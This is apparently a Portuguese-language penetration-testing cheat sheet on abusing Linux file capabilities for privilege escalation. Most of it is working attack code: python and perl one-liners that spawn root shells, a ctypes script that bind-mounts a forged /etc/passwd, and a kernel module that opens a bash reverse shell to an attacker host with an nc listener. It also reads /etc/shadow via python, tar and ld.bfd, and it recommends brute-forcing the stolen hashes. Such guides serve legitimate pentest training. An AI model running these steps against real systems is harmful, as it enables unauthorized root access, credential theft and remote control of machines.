Capabilities

Os recursos do Linux são usados para permitir que binários (executados por usuários comuns) realizem operações privilegiadas sem fornecer a eles todas as permissões de root.

Isso é diferente de SUID, prova disso que é um ls -lh não irá te trazer nenhuma dica de vulnerabilidade. Para isso, usamos o getcap, como descrito logo a seguir.

Os tipo de Capabilities são:

CAPABILITIES

TIPO

CapInh

Inherited

CapPrm

Permitted

CapEff

Effective

CapBnd

Bind

CapAmb

Ambient

Verificando Capabilities

Exibindo o Capabilities do bash atual. Verifique em Current: =

capsh --print

Outra maneira de verificar, é executando seguinte comando:

grep Cap /proc/$BASHPID/status

# Utilize o saída do comando acima para utilizar embaixo
capsh --decode=<valor_de_Cap***>

Podemos também, pesquisar por arquivos no SO que possuem permissões.

getcap -r / 2>/dev/null

Python

cap_setgid+ep

Procurando por binários vulneráveis

getcap -r / 2>/dev/null

Resultado de binário vulnerável, onde é possível acessar o python com o usuários atual, porém adicioando as permissões do grupo root.

/usr/bin/python2.7 = cap_setgid+ep

Para explorar, basta executar o comando abaixo. Atente-se ao 0 que foi passado como parâmetro em os.setgid(), que o número correspondente ao grupo root. Para ver os grupos disoníveis no SO, leia o arquivo /etc/group e verifique o número correspondenet ao grupo que queira personificar. É sempre bom, pegar o grupo shadow e assim, ler o conteúdo do arquivo /etc/shadow para poder então, realizar um ataque de brute force.

/usr/bin/python2.7 -c 'import os; os.setgid(0); os.system("/bin/bash")'

cap_sys_admin+ep

Procurando por binários vulneráveis

getcap -r / 2>/dev/null

Resultado de binário vulnerável, onde é possível acessar o python com usuário root para realizar leitura e escrita de arquivos

/usr/bin/python2.7 = cap_sys_admin+ep

Agora é necessário fazer uma cópia do arquivo /etc/passwd, e alterar o hash do usuário root:

# Copiando arquivo
cp /etc/passwd .
# Gerando hash
openssl passwd -1 -salt abc <pass>
# Modificando hash do root no arquivo copiado
vim passwd

Agora vamos criar um arquivo chamado xpl.py, com o seguinte conteúdo (altere o valor da variável source ):

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"</path/to/fake/passwd>"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

Agora basta executar o script e depois acessar o usuário root com a senha definida anteriormente.

/usr/bin/python2.7 xpl.py
su root

cap_setuid / cap_net_bind_service+eip

Deixando o arquivo vulnerável.

sudo setcap cap_setuid+ep $(which python3)

Agora ao executar o comando get -r / 2>/dev/null, devemos ter algo parecido com a saída abaixo:

/usr/bin/python3 = cap_setuid,cap_net_bind_service+eip

Pegando bash com permissão root.

$(which python3) -c 'import os ; os.setuid(0) ; os.system("/bin/bash")'

cap_sys_module

Verifique se o arquivo python está com cap_sys_module+ep ativo.

getcap $(which python)

Caso positivo, verifique se o python possui o kmod.

python -c 'help("modules")' | grep "kmod"

Se estiver tudo ok até aqui, execute os seguintes comandos:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/

Crie um arquivo chamado reverse-shell.c com o seguinte conteúdo:

#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<ip>/<port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
	return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
	printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Crie outro, dessa vez com o nome Makefile.

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

E então, execute no terminal:

make
cp reverse-shell.ko lib/modules/5.0.0-20-generic/
depmod -a -b ./

Agora crie um arquivo chamado insert-kernel-module.py com o seguinte conteúdo:

import kmod
km=kmod.Kmod()
km.set_mod_dir("/home/student/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

No host atacante deixe o nc no modo listener para receber a conexão.

nc -nvlp <port>

E por último, no host alvo, execute:

python insert-kernel-module.py

cap_dac_read_search+ep

Listando arquivo de um diretório

import os
for r, d, f in os.walk('/root'):
    for filename in f:
        print(filename)

Lendo conteúdo de um arquivo

/path/to/python3 -c 'print(open("/etc/shadow", "r").read())'

tcpdump

Deixando o arquivo vulnerável.

sudo setcap 'cap_net_raw+ep' $(which tcpdump)

Agora basta utilizar o tcpdump normalmente.

$(which tcpdump) -i <interface>

tar

Primeiro verifique o Capability do tar.

getcap $(which tar)

Caso tenha o cap cap_dac_read_search+ep, é possível utilizar para comprimir e descomprimir qualquer arquivo.

$(which tar) cvf shadow.tar /etc/shadow
$(which tar) -xvf shadow.tar

perl

/usr/bin/perl5.26.1 = cap_setuid+ep
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

x86_64-linux-gnu-ld.bfd

Procurando por binários vulneráveis

getcap -r / 2>/dev/null

Resultado

/usr/bin/x86_64-linux-gnu-ld.bfd = cap_dac_override+ep

Copiando /etc/shadow para o diretório atual

/usr/bin/x86_64-linux-gnu-ld.bfd -r -b binary /etc/shadow -o shadow.o

Lendo conteúdo de /etc/shadow

xxd shadow.o

CAP_SETUID

import os
import prctl
# Add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

Last updated